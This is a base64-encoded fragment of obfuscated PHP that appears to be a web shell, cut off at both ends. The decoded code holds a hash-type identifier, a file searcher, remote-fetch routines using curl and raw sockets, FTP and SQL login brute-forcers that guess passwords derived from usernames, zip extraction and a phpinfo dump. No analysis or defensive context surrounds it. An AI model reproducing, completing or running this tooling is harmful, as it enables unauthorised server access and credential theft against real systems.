LyBUaWdlcjE2MCAvIFJpcGVNRDE2MCAvIE15U1FMIHY1LnggLyBIYXZhbDE2MCAvIEhhdmFsMTYwXzMgLyBIYXZhbDE2MF80IC8gSGF2YWwxNjBfNSc7IH0gfWVsc2VpZigkbD09PTgpeyBpZih6NG8oJGgpKXsgJHI9J0FETEVSMzIgLyBDUkMtMzIgLyBDUkMtMzJCIC8gR0hhc2gtMzItMyAvIEdIYXNoLTMyLTMnOyB9IH1lbHNlaWYoJGw9PT0xMyl7IGlmKEBwcmVnX21hdGNoKCcvXlswLTlhLXpBLVpcLy5dJC8nLCRoKSl7ICRyPSdERVMgKFVuaXgpJzsgfSB9ZWxzZWlmKCRsPT09MTYpeyBpZih6NG8oJGgpKXsgJHI9J015U1FMJzsgfSB9ZWxzZWlmKCRsPT09NCl7IGlmKHo0bygkaCkpeyAkcj0nQ1JDLTE2IC8gQ1JDLTE2LUNDSVRUIC8gRkNTLTE2JzsgfSB9ZWxzZWlmKCRsPT09MzQpeyBpZihAcHJlZ19tYXRjaCgnL15cJDFcJFswLTlhLXpBLVpcLy5dezh9XCRbMC05YS16QS1aXC8uXXsyMn0gJC8nLCRoKSl7ICRyPSdNRDUgKFVuaXgpJzsgfSBlbHNlaWYoQHByZWdfbWF0Y2goJy9eXCRQXCRCWzAtOWEtekEtWlwvLl0kLycsJGgpKXsgJHI9J01ENShXb3JkUHJlc3MpJzsgfSBlbHNlaWYoQHByZWdfbWF0Y2goJy9eXCRIXCQ5WzAtOWEtekEtWlwvLl0kLycsJGgpKXsgJHI9J01ENShQaHBCQjMpJzsgfSB9ZWxzZWlmKCRsPT09MTI4KXsgaWYoejRvKCRoKSl7ICRyPSdTSEEtNTEyIC8gV0hJUkxQT09MIC8gU0FMU0EyMCc7IH0gfWVsc2VpZigkbD09PTk2KXsgaWYoejRvKCRoKSl7ICRyPSdTSEEtMzg0JzsgfSB9ZWxzZWlmKCRsPT09NDgpeyBpZih6NG8oJGgpKXsgJHI9J0hhdmFsMTkyIC8gSGF2YWwxOTJfNCAvIEhhdmFsMTkyXzUgLyBUaWdlcjE5MiAvIFRpZ2VyMiAvIFNBTFNBMTAnOyB9IH1lbHNlaWYoJGw9PT01Nil7IGlmKHo0bygkaCkpeyAkcj0nSGF2YWwyMjQgLyBIYXZhbDI0NF8zIC8gSGF2YWwyNDRfNCAvIFNIQTIyNCc7IH0gaWYoejFnKCRoKSl7ICRyPSdSaXBlTUQzMjAgKEJhc2U2NCknOyB9IH1lbHNlaWYoJGw9PT02NCl7IGlmKHo0bygkaCkpeyAkcj0nU05FRlJVMjU2IC8gU0hBLTI1NiAvIFJpcGVNRDI1NiAvIFBhbmFtYSAvIEhhdmFsMjU2IC8gSGF2YWwyNTZfMyAvIEhhdmFsMjU2XzQgLyBIYXZhbDI1Nl81JzsgfSBlbHNlaWYoQHByZWdfbWF0Y2goJy9eWzAtOWEtekEtWitcLy5dKyQvJywkaCkpeyAkcj0nU0hBMzg0IChCYXNlNjQpJzsgfSB9ZWxzZWlmKCRsPT09MzcpeyBpZihAcHJlZ19tYXRjaCgnL15cJGFwcjFcJFswLTlhLXpBLVpcLy5dezh9XCRbMC05YS16QS1aXC8uXXsyMn0gJC8nLCRoKSl7ICRyPSdNRDUgKEFQUiknOyB9IH1lbHNlaWYoJGw9PT04MCl7IGlmKHo0bygkaCkpeyAkcj0nUmlwZU1EMzIwJzsgfSB9ZWxzZWlmKCRsPT09MjQpeyBpZih6MWcoJGgpKXsgJHI9J0hhdmFsMTI4IChCYXNlNjQpIC8gTUQyIChCYXNlNjQpIC8gTUQ0IChCYXNlNjQpIC8gTUQ1IChCYXNlNjQpIC8gUmlwZU1EMTI4IChCYXNlNjQpIC8gU05FRlJVMTI4IChCYXNlNjQpIC8gVGlnZXIxMjggKEJhc2U2NCknOyB9IH1lbHNlaWYoJGw9PT0yOCl7IGlmKEBwcmVnX21hdGNoKCcvXlswLTlhLXpBLVorXC8uXSs9JC8nLCRoKSl7ICRyPSdTSEEtMSAoQmFzZTY0KSAvIEhhdmFsMTYwIChCYXNlNjQpIC8gUmlwZU1EMTYwIChCYXNlNjQpIC8gVGlnZXIxNjAgKEJhc2U2NCknOyB9IH1lbHNlaWYoJGw9PT00NCl7IGlmKEBwcmVnX21hdGNoKCcvXlswLTlhLXpBLVorXC8uXSs9JC8nLCRoKSl7ICRyPSdIYXZhbDI1NiAoQmFzZTY0KSAvIFJpcGVNRDI1NiAoQmFzZTY0KSAvIFNIQTI1NiAoQmFzZTY0KSAvIFNORUZSVTI1NiAoQmFzZTY0KSc7IH0gfWVsc2VpZigkbD09PTg4KXsgaWYoejFnKCRoKSl7ICRyPSdTSEE1MTIgKEJhc2U2NCkgLyBXSElSTFBPT0wgKEJhc2U2NCknOyB9IH1lbHNlaWYoJGw9PT05KXsgaWYoQGlzX251bWVyaWMoJGgpKXsgJHI9J0VsZi0zMic7IH0gfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejNpKCl7IGdsb2JhbCAkdG1vbnRoX2FyciwkdGRheV9hcnIsJHR5ZWFyX2FyciwkdGhvdXJfYXJyLCR0bWluX2FyciwkdHNlY19hcnI7ICR0bW9udGhfYXJyPWFycmF5KCIiPT4iTW9udGgiKTsgJHRkYXlfYXJyPWFycmF5KCIiPT4iRGF5Iik7ICR0eWVhcl9hcnI9YXJyYXkoIiI9PiJZZWFyIik7ICR0aG91cl9hcnI9YXJyYXkoIiI9PiJIb3VyIik7ICR0bWluX2Fycj1hcnJheSgiIj0+Ik1pbiIpOyAkdHNlY19hcnI9YXJyYXkoIiI9PiJTZWMiKTsgZm9yZWFjaChhcnJheSgiSmFudWFyeSIsIkZlYnJ1YXJ5IiwiTWFyY2giLCJBcHJpbCIsIk1heSIsIkp1bmUiLCJKdWx5IiwiQXVndXN0IiwiU2VwdGVtYmVyIiwiT2N0b2JlciIsIk5vdmVtYmVyIiwiRGVjZW1iZXIiKSBhcyAkdG1tKSAkdG1vbnRoX2FyclskdG1tXT0kdG1tOyBmb3IoJGk9MTskaTw9MzE7JGkrKykgJHRkYXlfYXJyWyRpXT0kaTsgZm9yKCRpPTE5OTg7JGk8PUBkYXRlKCJZIik7JGkrKykgJHR5ZWFyX2FyclskaV09JGk7IGZvcigkaT0xOyRpPD0yNDskaSsrKSAkdGhvdXJfYXJyWyRpXT0kaTsgZm9yKCRpPTE7JGk8NjA7JGkrKyl7ICR0bWluX2FyclskaV09JGk7ICR0c2VjX2FyclskaV09JGk7IH0gfSBmdW5jdGlvbiB6MnEoKXsgZ2xvYmFsICRuaXgsJHNoX2V4ZWMsJGZ0LCRkLCRmOyAkcj0nJzsgJGE9YXJyYXkoJ2Z1bmN0aW9ucyc9Pno5eSgiNzQiKSwnZWRpdCc9Pno5eSgiNzUiKSwndGV4dCc9Pno5eSgiNzkiKSwnY29kZSc9Pno5eSgiODAiKSwnaHRtbCc9Pno5eSgiODEiKSwnaHRtbHMnPT56OXkoIjgyIiksJ2V4ZSc9Pno5eSgiODMiKSwnc2Vzcyc9Pno5eSgiODQiKSwnc2RiJz0+ejl5KCI4NSIpLCdpbmknPT56OXkoIjg2IiksJ2ltZyc9Pno5eSgiODciKSwnaGV4Jz0+ejl5KCI4OCIpKTsgaWYoKCR3d3dkaXI9ejNuKCkpIT09ZmFsc2UpeyBpZihAc3Ryc3RyKCRkLiRmLCR3d3dkaXIpIT09ZmFsc2UpeyAkYVsnd2ViJ109ejl5KCI4OSIpOyB9IH0gJGFbJ2Rvd25sb2FkJ109ejl5KCI3NiIpOyAkZnRhPXo0ZCgkZik7IGZvcmVhY2goJGEgYXMgJGs9PiR2KXsgaWYoJGshPSdleGUnfHwoJGs9PSdleGUnICYmJHNoX2V4ZWMpKSAkci49ejdrKHo1eChhcnJheSgnYWN0Jz0+J2YnLCdkJywnZicsJ2Z0Jz0+JGspLHo4YigkdiwgKCgkZnQ9PSRrKT8gJzEyJyA6ICgoQGluX2FycmF5KCRrLCRmdGEpKSA/ICcxMyc6JzE0JykgKSApKSApOyB9IGVjaG8gejdhKHo3dSgkcikpOyB9IGZ1bmN0aW9uIHo1ZCgkZCl7IGdsb2JhbCAkZm91bmQsICRmb3VuZF9kLCAkZm91bmRfZiwgJHNlYXJjaF9pX2YsICRzZWFyY2hfaV9kLCAkYXIsICR3aXRoX2xzLCRzX3JlYywkc2RpcjsgJGQ9ejFrKCRkKTsgJGg9ejh4KCRkKTsgaWYoY291bnQoJGgpPjApeyBmb3JlYWNoKCRoIGFzICRmKXsgJGY9ejJsKCRmKTsgaWYoJGYhPSIuIiYmJGYhPSIuLiImJiRmIT0nJyl7ICRib29sPShAZW1wdHkoJGFyWyJzbl9yZWciXSkgJiYgQHN0cnBvcygkZiwkYXJbInNuIl0pIT09ZmFsc2UpfHwoJGFyWyJzbl9yZWciXSAmJiBAcHJlZ19tYXRjaCgiLyIuJGFyWyJzbiJdLiIvIiwkZikpOyBpZih6NGooJGQuJGYpKXsgJHNlYXJjaF9pX2QrKzsgaWYoQGVtcHR5KCRhclsic3QiXSkgJiYgKEBlbXB0eSgkYXJbInNfZmQiXSl8fCRhclsic19mZCJdPT0iMiIpICYmICRib29sKXsgJGZvdW5kW109JGQuJGY7ICRmb3VuZF9kKys7IH0gaWYoIXo0cSgkZC4kZikpeyBpZihAZW1wdHkoJHNfcmVjKSl7IHo1ZCgkZC4kZik7IH0gZWxzZWlmKEBpc19udW1lcmljKCRzX3JlYykpeyAkY291bnRyZWM9QGNvdW50KEBleHBsb2RlKCcvJyxAc3Vic3RyKCRkLiRmLEBzdHJsZW4oJHNkaXIpKSkpOyBpZigkY291bnRyZWM8PSRzX3JlYykgejVkKCRkLiRmKTsgfSB9IH1lbHNleyBpZihAZW1wdHkoJGFyWyJzX2ZkIl0pfHwkYXJbInNfZmQiXT09IjEiKXsgJHNlYXJjaF9pX2YrKzsgaWYoJGJvb2wpeyBpZighQGVtcHR5KCRhclsic3QiXSkpeyAkcj16OW8oJGQuJGYpOyBpZigkYXJbInN0X3d3byJdKXsgJGFyWyJzdCJdPSIgIi5AdHJpbSgkYXJbInN0Il0pLiIgIjsgfSBpZighJGFyWyJzdF9jcyJdKXsgJGFyWyJzdCJdPUBzdHJ0b2xvd2VyKCRhclsic3QiXSk7ICRyPUBzdHJ0b2xvd2VyKCRyKTsgfSBpZigkYXJbInN0X3JlZyJdKXsgJGJvb2w9QHByZWdfbWF0Y2goIi8iLiRhclsic3QiXS4iLyIsJHIpOyB9ZWxzZXsgJGJvb2w9QHN0cnN0cigkciwkYXJbInN0Il0pOyB9IGlmKCRhclsic3Rfbm90Il0peyAkYm9vbD0hJGJvb2w7IH0gaWYoJGJvb2wpeyAkZm91bmRbXT0kZC4kZjsgJGZvdW5kX2YrKzsgfSB9ZWxzZXsgJGZvdW5kW109JGQuJGY7ICRmb3VuZF9mKys7IH0gfSB9IH0gfSB9IH0gfSBmdW5jdGlvbiB6M3QoJHUpeyAkcz1AY3VybF9pbml0KCk7IEBjdXJsX3NldG9wdCgkcyxDVVJMT1BUX1VSTCwkdSk7IEBjdXJsX3NldG9wdCgkcyxDVVJMT1BUX1VTRVJBR0VOVCx6N3ooJzInLCdkb3dubG9hZGEnKSk7IEBjdXJsX3NldG9wdCgkcyxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOyAkcj1AY3VybF9leGVjKCRzKTsgQGN1cmxfY2xvc2UoJHMpOyByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejJoKCR1KXsgJHI9Jyc7IGlmKCFAc3Ryc3RyKCR1LCc6Ly8nKSkgcmV0dXJuICRyOyAkcz1Ac3Vic3RyKCR1LDAsQHN0cnBvcygkdSwnOi8vJykrMyk7ICR1aD1Ac3Vic3RyKCR1LEBzdHJsZW4oJHMpKTsgJGU9QGV4cGxvZGUoJy8nLCR1aCk7ICRoPSRlWzBdOyAkcD1Ac3Vic3RyKCR1aCxAc3RybGVuKCRoKSk7ICRmcD1AZnNvY2tvcGVuKCRoLDgwLCRlcnJubywkZXJyc3RyLDMwKTsgQGZwdXRzKCRmcCwiR0VUICRwIEhUVFAvMS4xXHJcbiIpOyBAZnB1dHMoJGZwLCJIb3N0OiAkaFxyXG4iKTsgQGZwdXRzKCRmcCwiVXNlci1BZ2VudDogIi56N3ooJzInLCdkb3dubG9hZGEnKS4iXHJcbiIpOyBAZnB1dHMoJGZwLCJDb25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIik7IHdoaWxlKCFAZmVvZigkZnApJiYoJGRlYnVnPUBmZ2V0cygkZnApKSE9IlxyXG4iKTsgd2hpbGUoIUBmZW9mKCRmcCkpICRyLj1AZmdldHMoJGZwLDEwMjQpOyBAZmNsb3NlKCRmcCk7IHJldHVybiAkcjsgfSBmdW5jdGlvbiB6M2woJGhvc3QsJHVzZXIsJHBhc3MsJHBvcnQsJHRpbWVvdXQpeyAkZnRwPUBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7IGlmKCEkZnRwKXsgcmV0dXJuICJmYWlsZWQiOyB9ZWxzZXsgaWYoQGZ0cF9sb2dpbigkZnRwLCR1c2VyLCRwYXNzKSl7IHJldHVybiAidmFsaWQiOyB9ZWxzZXsgcmV0dXJuICJpbnZhbGlkIjsgfSBAZnRwX2Nsb3NlKCRmdHApOyB9IH0gZnVuY3Rpb24gejJmKCRob3N0LCRwb3J0LCR0aW1lLCR0cnkxLCR0cnkyLCR0cnkzLCR0cnk0LCR1c2VyLCRwYXNzPU5VTEwpeyAkY291bnQ9MDsgJHN1Y2Nlc3M9MDsgJHJlcz0wOyAkbG9nPSIiOyBpZigkcGFzcyE9TlVMTCl7ICRjb3VudCsrOyAkcmVzPXozbCgkaG9zdCwkdXNlciwkcGFzcywkcG9ydCwkdGltZSk7IGlmKCRyZXM9PSJmYWlsZWQiKXsgZWNobyAiQ2FuJ3QgY29ubmVjdCB0byAkaG9zdDokcG9ydFxyXG4iOyByZXR1cm4gZmFsc2U7IH0gaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjokcGFzcyAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49ImZ0cDovLyRob3N0OiRwb3J0IC0gJHVzZXIgJHBhc3NcclxuIjsgJHN1Y2Nlc3MrKzsgfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5ND09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNsKCRob3N0LCR1c2VyLHo5aSgkcGFzcyksJHBvcnQsJHRpbWUpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuejlpKCRwYXNzKS4iIC0gc3VjY2Vzc1xyXG4iOyAkbG9nLj0iZnRwOi8vJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkcGFzcykuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfWVsc2V7ICRjb3VudCsrOyAkcmVzPXozbCgkaG9zdCwkdXNlciwkdXNlciwkcG9ydCwkdGltZSk7IGlmKCRyZXM9PSJmYWlsZWQiKXsgZWNobyAiQ2FuJ3QgY29ubmVjdCB0byAkaG9zdDokcG9ydFxyXG4iOyByZXR1cm4gZmFsc2U7IH0gaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjokdXNlciAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49ImZ0cDovLyRob3N0OiRwb3J0IC0gJHVzZXIgJHVzZXJcclxuIjsgJHN1Y2Nlc3MrKzsgfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5MT09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNsKCRob3N0LCR1c2VyLEBzdHJyZXYoJHVzZXIpLCRwb3J0LCR0aW1lKTsgaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjoiLkBzdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSJmdHA6Ly8kaG9zdDokcG9ydCAtICR1c2VyICIuQHN0cnJldigkdXNlcikuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gaWYoJHJlcyE9InZhbGlkIiYmJHRyeTI9PSIxIil7ICRjb3VudCsrOyAkcmVzPXozbCgkaG9zdCwkdXNlciwkdXNlci4iMSIsJHBvcnQsJHRpbWUpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuJHVzZXIuIjEgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSJmdHA6Ly8kaG9zdDokcG9ydCAtICR1c2VyICIuJHVzZXIuIjFcclxuIjsgJHN1Y2Nlc3MrKzsgfSB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnkzPT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2woJGhvc3QsJHVzZXIsJHVzZXIuIjEyMyIsJHBvcnQsJHRpbWUpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuJHVzZXIuIjEyMyAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49ImZ0cDovLyRob3N0OiRwb3J0IC0gJHVzZXIgIi4kdXNlci4iMTIzXHJcbiI7ICRzdWNjZXNzKys7IH0gfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5ND09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNsKCRob3N0LCR1c2VyLHo5aSgkdXNlciksJHBvcnQsJHRpbWUpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuejlpKCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkbG9nLj0iZnRwOi8vJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkdXNlcikuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfSByZXR1cm4gYXJyYXkoICRjb3VudCwgJHN1Y2Nlc3MsICRsb2cpOyB9IGZ1bmN0aW9uIHozaCgkaG9zdCwkdXNlciwkcGFzcywkcG9ydCwkZGJ0eXBlLCRiYXNlPScnKXsgJHNxbD1uZXcgbXlfc3FsKCk7ICRzcWwtPmRiPSRkYnR5cGU7ICRzcWwtPmhvc3Q9JGhvc3Q7ICRzcWwtPnBvcnQ9JHBvcnQ7ICRzcWwtPnVzZXI9JHVzZXI7ICRzcWwtPnBhc3M9JHBhc3M7IGlmKCRiYXNlIT0nJyl7ICRzcWwtPmJhc2U9JGJhc2U7IH0gaWYoJHNxbC0+Y29ubmVjdCgpKXsgcmV0dXJuICJ2YWxpZCI7IH1lbHNleyByZXR1cm4gImludmFsaWQiOyB9IH0gZnVuY3Rpb24gejJzKCRob3N0LCRwb3J0LCRkYnR5cGUsJHRyeTEsJHRyeTIsJHRyeTMsJHRyeTQsJHVzZXIsJHBhc3M9TlVMTCwkc3FsZGI9JycpeyAkY291bnQ9MDsgJHN1Y2Nlc3M9MDsgJHJlcz0wOyAkbG9nPSIiOyBpZigkcGFzcyE9TlVMTCl7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlciwkcGFzcywkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6JHBhc3MgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAkcGFzc1xyXG4iOyAkc3VjY2VzcysrOyB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnkxPT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsQHN0cnJldigkcGFzcyksJHBvcnQsJGRidHlwZSwkc3FsZGIpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuQHN0cnJldigkcGFzcykuIiAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICRwYXNzICIuQHN0cnJldigkdXNlcikuIlxyXG4iOyAkc3VjY2VzcysrOyB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnk0PT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsejlpKEBzdHJyZXYoJHBhc3MpKSwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii56OWkoQHN0cnJldigkcGFzcykpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aShAc3RycmV2KCRwYXNzKSkuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5Mj09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNoKCRob3N0LCR1c2VyLCRwYXNzLiIxIiwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii4kcGFzcy4iMSAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICR1c2VyICIuJHBhc3MuIjFcclxuIjsgJHN1Y2Nlc3MrKzsgfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5ND09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNoKCRob3N0LCR1c2VyLHo5aSgkcGFzcy4iMSIpLCRwb3J0LCRkYnR5cGUsJHNxbGRiKTsgaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjoiLno5aSgkcGFzcy4iMSIpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkcGFzcy4iMSIpLiJcclxuIjsgJHN1Y2Nlc3MrKzsgfSB9IH0gaWYoJHJlcyE9InZhbGlkIiYmJHRyeTM9PSIxIil7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlciwkcGFzcy4iMTIzIiwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii4kcGFzcy4iMTIzIC0gc3VjY2Vzc1xyXG4iOyAkbG9nLj0iJGRidHlwZSAtICRob3N0OiRwb3J0IC0gJHVzZXIgIi4kcGFzcy4iMTIzXHJcbiI7ICRzdWNjZXNzKys7IH0gaWYoJHJlcyE9InZhbGlkIiYmJHRyeTQ9PSIxIil7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlcix6OWkoJHBhc3MuIjEyMyIpLCRwb3J0LCRkYnR5cGUsJHNxbGRiKTsgaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjoiLno5aSgkcGFzcy4iMTIzIikuIiAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICR1c2VyICIuejlpKCRwYXNzLiIxMjMiKS4iXHJcbiI7ICRzdWNjZXNzKys7IH0gfSB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnk0PT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsejlpKCRwYXNzKSwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii56OWkoJHBhc3MpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkcGFzcykuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfWVsc2V7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlciwkdXNlciwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAkdXNlclxyXG4iOyAkc3VjY2VzcysrOyB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnkxPT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsQHN0cnJldigkdXNlciksJHBvcnQsJGRidHlwZSwkc3FsZGIpOyBpZigkcmVzPT0idmFsaWQiKXsgZWNobyAiWytdICR1c2VyOiIuQHN0cnJldigkdXNlcikuIiAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICR1c2VyICIuQHN0cnJldigkdXNlcikuIlxyXG4iOyAkc3VjY2VzcysrOyB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnk0PT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsejlpKEBzdHJyZXYoJHVzZXIpKSwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii56OWkoQHN0cnJldigkdXNlcikpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aShAc3RycmV2KCR1c2VyKSkuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5Mj09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNoKCRob3N0LCR1c2VyLCR1c2VyLiIxIiwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii4kdXNlci4iMSAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICR1c2VyICIuJHVzZXIuIjFcclxuIjsgJHN1Y2Nlc3MrKzsgfSBpZigkcmVzIT0idmFsaWQiJiYkdHJ5ND09IjEiKXsgJGNvdW50Kys7ICRyZXM9ejNoKCRob3N0LCR1c2VyLHo5aSgkdXNlci4iMSIpLCRwb3J0LCRkYnR5cGUsJHNxbGRiKTsgaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjoiLno5aSgkdXNlci4iMSIpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkdXNlci4iMSIpLiJcclxuIjsgJHN1Y2Nlc3MrKzsgfSB9IH0gaWYoJHJlcyE9InZhbGlkIiYmJHRyeTM9PSIxIil7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlciwkdXNlci4iMTIzIiwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii4kdXNlci4iMTIzIC0gc3VjY2Vzc1xyXG4iOyAkbG9nLj0iJGRidHlwZSAtICRob3N0OiRwb3J0IC0gJHVzZXIgIi4kdXNlci4iMTIzXHJcbiI7ICRzdWNjZXNzKys7IH0gaWYoJHJlcyE9InZhbGlkIiYmJHRyeTQ9PSIxIil7ICRjb3VudCsrOyAkcmVzPXozaCgkaG9zdCwkdXNlcix6OWkoJHVzZXIuIjEyMyIpLCRwb3J0LCRkYnR5cGUsJHNxbGRiKTsgaWYoJHJlcz09InZhbGlkIil7IGVjaG8gIlsrXSAkdXNlcjoiLno5aSgkdXNlci4iMTIzIikuIiAtIHN1Y2Nlc3NcclxuIjsgJGxvZy49IiRkYnR5cGUgLSAkaG9zdDokcG9ydCAtICR1c2VyICIuejlpKCR1c2VyLiIxMjMiKS4iXHJcbiI7ICRzdWNjZXNzKys7IH0gfSB9IGlmKCRyZXMhPSJ2YWxpZCImJiR0cnk0PT0iMSIpeyAkY291bnQrKzsgJHJlcz16M2goJGhvc3QsJHVzZXIsejlpKCR1c2VyKSwkcG9ydCwkZGJ0eXBlLCRzcWxkYik7IGlmKCRyZXM9PSJ2YWxpZCIpeyBlY2hvICJbK10gJHVzZXI6Ii56OWkoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRsb2cuPSIkZGJ0eXBlIC0gJGhvc3Q6JHBvcnQgLSAkdXNlciAiLno5aSgkdXNlcikuIlxyXG4iOyAkc3VjY2VzcysrOyB9IH0gfSByZXR1cm4gYXJyYXkoJGNvdW50LCRzdWNjZXNzLCRsb2cpOyB9IGZ1bmN0aW9uIHoyZygkYSwkYiwkYyl7IGdsb2JhbCAkY291bnQsJHN1Y2Nlc3MsJGxvZzsgJGNvdW50Kz0kYTsgJHN1Y2Nlc3MrPSRiOyAkbG9nLj0kYzsgfSBmdW5jdGlvbiB6MG0oJGEsJGQpeyAkej0gbmV3IFppcEFyY2hpdmU7IGlmICgkei0+b3BlbigkYSkgPT09IFRSVUUpIHsgJHotPmV4dHJhY3RUbygkZCk7ICR6LT5jbG9zZSgpOyByZXR1cm4gVFJVRTsgfSBlbHNlIHsgcmV0dXJuIEZBTFNFOyB9IH0gZnVuY3Rpb24gejF3KCRyZXR1cm49ZmFsc2UpeyBAb2Jfc3RhcnQoKTsgQHBocGluZm8oLTEpOyAkcGkgPSBAcHJlZ19yZXBsYWNlKCBhcnJheSgnI14uKjxib2R5PiguKik8L2JvZHk+LiokI21zJywgJyM8aDI+UEhQIExpY2Vuc2U8L2gyPi4qJCNtcycsICcjPGgxPkNvbmZpZ3VyYXRpb248L2gxPiMnLC